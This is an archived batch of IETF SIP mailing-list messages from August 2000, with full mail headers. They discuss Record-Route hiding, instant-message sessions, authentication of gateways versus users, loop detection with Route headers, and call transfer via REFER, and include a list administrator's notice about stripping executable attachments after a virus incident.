SMTP (8.8.8+Sun/25-eef) id LAA17056; Fri, 25 Aug 2000 11:14:14 +0100 (BST) From: "Jo Hornsby" <jhornsby@ubiquity.net> To: "David Daiker" <ddaiker@cisco.com> Cc: "Bertil Engelholm" <Bertil.Engelholm@uab.ericsson.se>, <sip@lists.bell-labs.com> Subject: RE: [SIP] Why Via hiding but no RR hiding ?? Date: Fri, 25 Aug 2000 11:14:14 +0100 Message-ID: <001701c00e7d$384c4fc0$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <200008241700.NAA19520@blanc.cisco.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > I would dispute that it is significantly different than via hiding. > > See our ID "SIP Record-Route/Route Hiding" Have you got a URL for this ID? I'm having trouble finding it... - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 07:49:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA17202 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 07:49:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 782B0443AC; Fri, 25 Aug 2000 07:49:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id C09E44433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 07:48:54 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id RAA19382 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:20:35 +0530 (IST) Received: from sung17.sasi.com ([10.0.64.17]) by sasi.com; Fri, 25 Aug 2000 17:20:33 +0000 (IST) Received: from pcg153 (pcg153.sasi.com [10.0.64.153]) by sung17.sasi.com (8.9.3/8.9.3) with SMTP id RAA18937 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 17:20:34 +0530 (IST) From: "Srinath A" <srinath@sasi.com> To: "siplist" <sip@lists.bell-labs.com> Date: Fri, 25 Aug 2000 17:20:10 +0530 Message-ID: <NEBBLLFEAMOEKGNGJGPIGEGDCAAA.srinath@sasi.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Subject: [SIP] On IM sessions Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, I have a few suggestions on IM sessions. 1. There was the question of session invitation,i.e. how to invite someone to an IM session? I feel that a special invitation is not required here, as the first MESSAGE request will itself be an invitation to the other party. If that party wishes to refuse the call then they respond with a 403 Forbidden response. 2. The question of a multiparty IM session was raised. IMO this can be done using the folowing ways. A. Sending party sends separate MESSAGE requests to each member. But the message may contain a header(To be defined) that tells the recipients the list of participants to whom the message was sent so that they may also send messages to all the others. B. Sending party sends it to a special server that does the distribution. Here the server immediately responds with a 201 response, and separately sends it to the parties. But if a party responds with a 403 then further messages of the same session or Call ID are not forwarded to that party. C. Multicast requests. There is this question of closing a session still remaining. Or is the session assumed to be closed when the party just closes a window. Please comment. I also hope this is the list to which this message is to be sent. Srinath A Silicon Automation Systems #1309, 10th Main, HAL III Stage Bangalore 560 008, India Phone:+91-80-5276100, 5276108 extn 4220 Company Home: www.sasi.com Home: http://www.geocities.com/srinath_tvpm _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 10:04:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20859 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 10:04:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EF477443B7; Fri, 25 Aug 2000 10:03:13 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by lists.bell-labs.com (Postfix) with ESMTP id 7C5F54433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 10:00:28 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA29604; Fri, 25 Aug 2000 10:00:24 -0400 (EDT) Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA01333; Fri, 25 Aug 2000 10:00:25 -0400 (EDT) Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id <Q0BK453X>; Fri, 25 Aug 2000 10:00:23 -0400 Message-ID: <4FBEA8857476D311A03300204840E1CF678776@whq-msgusr-02.fore.com> From: "Rosen, Brian" <Brian.Rosen@marconi.com> To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com> Cc: "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: RE: [SIP] Re: SIP gateways and authentication Date: Fri, 25 Aug 2000 10:00:15 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com > I'll also note that this problem is not limited to gateways - its the > fundamental issue of whether you authenticate a device or a user, and > could equally well apply to a softphone application, single line > gateway, and trunking gateway. I've been thinking about the device vs. user issue for a while. My conclusion is that you need to cater to both, and they are distinct problems. When you try to make them the same problem, you get wrapped around the proverbial axle. Think of it as person-to-person instead of station-to-station calling -- geez, there are probably a bunch of you who don't know what the heck that means :( User authentication implies either that there is an external device (smartcard reader, or more probably a Bluetooth connection to a PDA) OR a login mechanism. It would use Kerberos or PK to authenticate a USER. It's clearly E-2-E, and implies proxies don't have a role. Device authentication is usually simpler. You can use a pretty wide variety of mechanisms, and it's probably okay, in most cases, to use Hop-by-hop mechanisms. I do worry about that "in most cases", but maybe something like tunnel mode IPSEC could fix enough of them that we just use that approach. I myself like the PacketCable mechanisms, but there are several others than can work. Proxies clearly could/would participate. Anyway, I do think we need to keep the issues separate. Brian > -----Original Message----- > From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] > Sent: Friday, August 25, 2000 1:26 AM > To: David Harris > Cc: Sip-Implementors (E-mail); sip > Subject: [SIP] Re: SIP gateways and authentication > > > > > > David Harris wrote: > > > > If an H.323 or MGCP originator calls a SIP user agent through a > > gateway, I am thinking the messaging should go from the gateway to a > > SIP proxy server and then to the SIP user agent. My guess is that > > registering all possible originators from the gateway wouldn't be an > > valid solution so if the proxy server is authenticating INVITEs, how > > is authenticating an INVITE from a gateway handled? > > This is a good question; one that we have mentioned in > passing here and > there, but for which we have not yet settled on a solution. > > Let me rephrase the problem. A user makes a call from a PSTN phone > through a PSTN->SIP gateway. This call arrives at a proxy server, then > gets routed to a UAS. Either or both of the proxy/UAS might challenge > this request. In this case, who is being authenticated, the gateway > itself, or the user calling in through the gateway? If its the user > themselves, how would that work? > > One might argue that authentication of a gateway by a proxy > is useless; > really in this case you want a hop by hop security mechanism > like IPSec > or TLS, and forgo completely the high overhead SIP authentication for > each message. Then again, in the absence of support for IPSec or TLS, > SIP proxy authentication migth provide a way to authenticate > the gateway > from a proxy. > > It also seems unlikely the UAS would really be interested in > authenticating the originating gateway. > > So, given there are useful cases for authenticating both the > gateway and > the user calling in through the gateway, how do we know which is being > challenged? > > Some options: > > 1. The realm indicates this. For example, a realm of "gateway" would > indicate that the gateway is being authenticated, "user" > means the user. > We wouldn't need to standardize the actual words here, but rather > standardize that the realm would indicate which was the case through > administrative configuration. > > 2. Use a different response code for each case. Probably not a great > idea. > > 3. Others? > > > I'll also note that this problem is not limited to gateways - its the > fundamental issue of whether you authenticate a device or a user, and > could equally well apply to a softphone application, single line > gateway, and trunking gateway. > > Thoughts on this issue? > > -Jonathan R. > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 10:05:40 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20892 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 10:05:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1B951443BB; Fri, 25 Aug 2000 10:03:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id B6A6C4433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 09:20:27 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA10883; Fri, 25 Aug 2000 09:20:20 -0400 (EDT) Message-ID: <39A67294.569D5749@cs.columbia.edu> Date: Fri, 25 Aug 2000 09:20:20 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Marc Petit-Huguenin <petithug@NetergyNet.COM>, Kevin Summers <Kevin.Summers@ttimail.com>, IETF SIP <sip@lists.bell-labs.com> Subject: Re: [SIP] Detection of UAC failure References: <51A66FB90C0C4D45BEBDB2A4BC1E8BEC1AED02@MAILHOST.tti.net> <39A45659.93581E80@8x8.com> <39A5FE36.573F7F5A@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit In a distributed system, it will always take O(time estimate of longest likely sequence of packet loss) to detect outages of another end system. In addition, there is no clear delineation between "long sequence of packet loss" and "network dead", unless you have some direct way of observing the physical infrastructure. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 10:40:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21566 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 10:40:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 32F2F443A6; Fri, 25 Aug 2000 10:40:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id C2FD34433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 10:40:22 -0400 (EDT) Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id PAA08517; Fri, 25 Aug 2000 15:38:29 +0100 (BST) Message-ID: <39A684E5.45062079@ubiquity.net> Date: Fri, 25 Aug 2000 15:38:29 +0100 From: Neil Deason <ndeason@ubiquity.net> Organization: Ubiquity Software Corporation Limited X-Mailer: Mozilla 4.51 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Loita Jahnsson <Loita.Jahnsson@uab.ericsson.se> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] more on Record-Route and Loop-Detection References: <001001c00dbb$6aea4f80$4e34c3c1@ubiquity.co.uk> <39A643FD.D73395B7@uab.ericsson.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Rather than just kick this around for a bit and drop it without consensus it would be nice to reach closure. How about we just don't do loop detection if there is a Route: to follow. Has anyone got a good reason not to take this simple approach? BTW there were some slight errors in the modified example which I have commented on below in case they caused any confusion. Cheers, Neil. - Ubiquity Software Corporation, UK http://www.ubiquity.net [snip] > -------- MODIFIED EXAMPLE --------------------------------------- > > c1 --> p1 : INVITE u1@p1 > contact a@c1 > > p1 --> p2 : INVITE u2@p2 > contact a@c1 > record-route u1@p1<maddr=p1-addr> > > p2 --> p1 : INVITE u3@p1 > contact a@c1 > record-route u2@p1<maddr=p2-addr>, > u1@p1<maddr=p1-addr> Should be record-route u2@p2<maddr=p2-addr>, u1@p1<maddr=p1-addr> > p1 --> c2 : INVITE b@c2 > contact a@c1 > record-route u3@p1<maddr=p1-addr>, > u2@p2<maddr=p2-addr>, u1@p1<maddr=p1-addr> > > OK, so now the INVITE request has reached it's final > destination, c2, and according to the solution proposed > in the spec today, c2 created this Route information > to be used for subsequent requests: > > c2: Route = a@c1<maddr=p1-addr>, a@c1<maddr=p2-addr>, > a@c1<maddr=p1-addr>, a@c1 > > Let's skip the INVITE-response & ACK and move forward > directly to the point of time when b@c2 is generating > a BYE request for the session > > c2 --> p1 : BYE a@c1 > route a@c1<maddr=p2-addr>, a@c1<maddr=p1-addr>, a@c1 > > p1 --> p2 : BYE a@c1 > route a@c1<maddr=p1-addr>, a@c1 > > p2 --> p1 : BYE a@c1 <---- loop detection .... > route a@c1 > > p1 --> p2 : Loop detect ... > > You see, when the request reaches proxy p1 the second time > with the same request-URI, it will be considered a loop, > and the transaction will not be successful, even if it > should be. > > Let's go for the alternative that I proposed, which is simply > keep the original request-URI-information. Then after > Record-Routing the INVITE, c2 would create this Route: > > c2: Route = u3@p1<maddr=p1-addr>, u2@p2<maddr=p2-addr>, > u1@p1<maddr=p1-addr>, a@c1 > > OK, now b@c2 will send a BYE using that information: > > c2 --> p1 : BYE u3@p1 > route u2@p2<maddr=p2-addr>, u3@p1<maddr=p1-addr>, > a@c1 Should be route u2@p2<maddr=p2-addr>, u1@p1<maddr=p1-addr>, a@c1 Which would then propagate through below .... > p1 --> p2 : BYE u2@p2 > route u3@p1<maddr=p1-addr>, a@c1 > > p2 --> p1 : BYE u1@p1 > route a@c1 > > p1 --> c1 : BYE a@c1 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 11:48:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA23064 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 11:48:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 654B5443C1; Fri, 25 Aug 2000 11:47:48 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 48AA9443BE for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 11:47:45 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA24591; Fri, 25 Aug 2000 08:47:21 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA24474; Fri, 25 Aug 2000 08:47:03 -0700 (PDT) From: Michael Thomas <mat@cisco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14758.38134.851139.496078@thomasm-u1.cisco.com> Date: Fri, 25 Aug 2000 08:47:02 -0700 (PDT) To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: [SIP] Re: SIP gateways and authentication In-Reply-To: <39A6035E.4DDC74C0@dynamicsoft.com> References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg writes: > Let me rephrase the problem. A user makes a call from a PSTN phone > through a PSTN->SIP gateway. This call arrives at a proxy server, then > gets routed to a UAS. Either or both of the proxy/UAS might challenge > this request. In this case, who is being authenticated, the gateway > itself, or the user calling in through the gateway? If its the user > themselves, how would that work? It depends. Clearly the gateway must proxy the authentication no matter what. > One might argue that authentication of a gateway by a proxy is useless; > really in this case you want a hop by hop security mechanism like IPSec > or TLS, and forgo completely the high overhead SIP authentication for > each message. Then again, in the absence of support for IPSec or TLS, > SIP proxy authentication migth provide a way to authenticate the gateway > from a proxy. Probably, though you may again want to have a "default" service which is authenticated as the gateway (directly or implicitly through the lower level SA) and a user authenticated service. > It also seems unlikely the UAS would really be interested in > authenticating the originating gateway. Why not? It may very well be that I don't trust or have control over my first hop proxy. Assuming that the gateway had a default secondary dialtone IVR maze which would change the From: address and respond to any challenges with a PIN, this is pretty much exactly what you'd want. > Some options: > > 1. The realm indicates this. For example, a realm of "gateway" would > indicate that the gateway is being authenticated, "user" means the user. > We wouldn't need to standardize the actual words here, but rather > standardize that the realm would indicate which was the case through > administrative configuration. > > 2. Use a different response code for each case. Probably not a great > idea. > > 3. Others? I think it's a slippery slope trying to draw a difference between "gateway" and "user". A better way to think of this, IMO, is that a particular device may at any time take on one or more identities, and that at any point each proxy/UAS is entitled to demand authentication for an identity in its realm. This is consistant with real life: I have a drivers license for driving, a credit card for buying dinner and a cisco badge for getting into our buildings. At each place, a different identity is stored in those pieces of plastic and each demand the proper one for its realm. > I'll also note that this problem is not limited to gateways - its the > fundamental issue of whether you authenticate a device or a user, and > could equally well apply to a softphone application, single line > gateway, and trunking gateway. Yes, I'll say again that like my wallet, it is necessary to be brutally parsimonious about the size of credentials. For SIP, I really, really think we need to introduce the concept of cached credentials on the UA/proxies so that you can transfer a relatively large and/or expensive credential (kerberos ticket, X.509...) once, and use a keyed hash for subsequent messages. If it were just one credential that might be demanded upon the path, it might be OK (and with public key operations, even that is doubtful), but the possibility of an unlimited (where for both kerberos and X.509 "unlimited" is > 2) set of credentials means that you couldn't do UDP INVITE's without fragmentation which really sux. An iterative model of challenge/response/cache where the UAC sends a keyed hash based on a shared symmetric key after the initial challenge would scale *much* better. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 12:56:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24583 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 12:56:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 044E5443CC; Fri, 25 Aug 2000 12:49:58 -0400 (EDT) Delivered-To: sip@share.research.bell-labs.com Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49]) by lists.bell-labs.com (Postfix) with SMTP id 982CC443B9 for <sip@share.research.bell-labs.com>; Fri, 25 Aug 2000 11:50:02 -0400 (EDT) Received: from lists.bell-labs.com ([135.104.27.211]) by crufty; Fri Aug 25 11:49:39 EDT 2000 Received: by lists.bell-labs.com (Postfix) id 378B54437C; Fri, 25 Aug 2000 11:10:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nslocum.cs.bell-labs.com (nslocum.cs.bell-labs.com [135.104.8.38]) by lists.bell-labs.com (Postfix) with ESMTP id 5689144347; Fri, 25 Aug 2000 11:10:08 -0400 (EDT) Received: from research.bell-labs.com (ste-pcmh.research.bell-labs.com [135.104.53.76]) by nslocum.cs.bell-labs.com (8.9.3/8.9.3) with ESMTP id LAA33923866; Fri, 25 Aug 2000 11:10:08 -0400 (EDT) Message-ID: <39A68C4F.6079EBE7@research.bell-labs.com> Date: Fri, 25 Aug 2000 11:10:07 -0400 From: Shaun Erickson <ste@research.bell-labs.com> Reply-To: listadmins@research.bell-labs.com Organization: Bell Labs (Innovations for Lucent Technologies) X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: en MIME-Version: 1.0 To: extest@lists.bell-labs.com, http-state@lists.bell-labs.com, ietf-pin@lists.bell-labs.com, ietf-sin@lists.bell-labs.com, ip-optical@lists.bell-labs.com, iptel@lists.bell-labs.com, irtf-nsm@lists.bell-labs.com, nsbd@lists.bell-labs.com, pint@lists.bell-labs.com, sip@lists.bell-labs.com, spirits@lists.bell-labs.com, wwexptools@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] NOTICE: Stripping attachments from list mail. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Recently, a member of one of the mailing lists had their system infected with a virus, which was then sent to the list server and dutifully resent out to hundreds of people on one of the lists. To help prevent such an occurence in the future, I have begun stripping certain attachments out of mail sent to the lists. In the place of the attachment, there will be a notice that the file was stripped from the mail, and why. File attachments with the following extensions will be automatically stripped from all mail sent to lists distributed from this server: exe, vbs, lnk, pif, wsh, wse, jscript, kix, shs & msi Because they are deemed important to the proper running of some of the lists, Microsoft Word (.doc) and Microsoft Powerpoint (.ppt) files will continue to be allowed as attachments, along with anything else not covered by the above list of file extensions being disallowed. Please send any questions, concerns, or comments regarding this policy, to: listadmins@research.bell-labs.com Your Friendly List Admin, -ste (Shaun Erickson, ste@research.bell-labs.com) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 13:47:47 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25461 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 13:47:46 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0369944379; Fri, 25 Aug 2000 13:47:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id B58A644348 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 13:47:26 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id KAA18699; Fri, 25 Aug 2000 10:47:42 -0700 (PDT) Received: from rmahy-home-nt (rmahy-dsl1.cisco.com [10.19.53.122]) by imop.cisco.com (Mirapoint) with ESMTP id AAB49433; Fri, 25 Aug 2000 10:47:23 -0700 (PDT) Message-Id: <4.2.0.58.20000825103656.00dada20@lint.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 25 Aug 2000 10:37:45 -0700 To: "Tom-PT Taylor" <taylor@nortelnetworks.com> From: Rohan Mahy <rohan@cisco.com> Subject: RE: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Brett Tate <brett@broadsoft.com>, SIPbell-labs <sip@lists.bell-labs.com>, rsparks@dynamicsoft.com In-Reply-To: <28560036253BD41191A10000F8BCBD11480C84@zcard00g.ca.nortel. com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com At 09:53 PM 8/24/00 , Tom-PT Taylor wrote: >I've been plugging REFERS into call flows for each of the services you >list in your latest comment, and it works on the assumption that matching >call-id means that party C shouldn't indicate it is busy or invoke call >waiting. These flows actually take advantage of the fact that the old >call leg remains in place until explicitly taken down. So in the interim, you assume the calls are joined/mixed? thanks, -rohan > > -----Original Message----- > > From: Rohan Mahy [<mailto:rohan@cisco.com>mailto:rohan@cisco.com] > > Sent: Thursday, August 24, 2000 1:46 PM >... > > > > >Rohan Mahy wrote: > > > > > > > > Hi, > > > > > > > > Let me try and rephrase Brett's question. Let's assume > > the following > > > scenario: > > > > > > > > A sends REFER to B with a Refer-To: <C> > > > > B sends an INVITE to C with Referred-By: <A> > > > > > > > > When C receives an INVITE with a Referred-By header, how > > does C know > > > > whether to: > > > > a) accept this INVITE as a new call, > > > > > >This is the case when the Call-ID is unknown. > > > > > > > b) accept this INVITE as a replacement for > > another call leg, or > > > > > >I assume you are talking about the now-defunct Replaces: function? I > > >believe now > > >that this function is quite a complex one and something that > > merits much > > >more discussion > > >before deciding if its needed. > > > > I'm sure folks will want to do things like: > > > > Attended transfer > > Consultative Conference > > transitioning from a 3-way call to an MCU controlled > > conference > > screening voicemail messages > > etc... > > > > I could go on for pages. > > > > All these features require a way to take an existing call > > leg, replace it > > with another, and keep the old resources (speaker/microphone, > > DS0, video > > window, whatever) associated with the new call leg. > > > > > > c) accept this INVITE as new party in an > > existing call ?? > > > > > >Known call-id. > > > > I don't think this is sufficient. First, I think the > > existing call-id is > > better suited for replacement of call legs as described above. > > > > Second, from the definition of call, conference, session, and > > call-id in > > the bis draft, I have always interpreted this to mean that if > > A calls B, > > and B calls C, if you join these two calls together, they > > need to keep > > unique call ids. Neither call was invited by a common > > source, and neither > > call necessarily has or will use the same session description. > > > > from the bis draft: > > >Call: A call consists of all participants in a conference > > invited by a > > >common source. A SIP call is identified by a globally unique call-id > > >(Section 6.12). Thus, if a user is, for example, invited to the same > > >multicast session by several people, each of these > > invitations will be a > > >unique call. A point-to-point Internet telephony > > conversation maps into a > > >single SIP call. In a multiparty conference unit (MCU) based call-in > > >conference, each participant uses a separate call to invite > > himself to the MCU. > > > > >Conference: A multimedia session (see below), identified by a common > > >session description. A conference can have zero or more members and > > >includes the cases of a multicast conference, a full-mesh > > confer-ence and > > >a two-party "telephone call", as well as combinations of > > these. Any number > > >of calls can be used to create a conference. > > > > > > We need a way to semantically link multiple calls with > > distinct call-ids. > > > > thanks, > > -rohan > > > > > > > > > > The semantics aren't well-defined yet. The draft just > > mentions that you > > > > can include a call-id in the refer-to or referred-by URL. > > It doesn't say > > > > what that would mean or what you should do with it. > > > > > >Thats something that needs to be addressed in the bis draft. > > It needs to > > >say what it means to receive a call from a different party > > but with the > > >same call-ID as an existing call. > > > > > 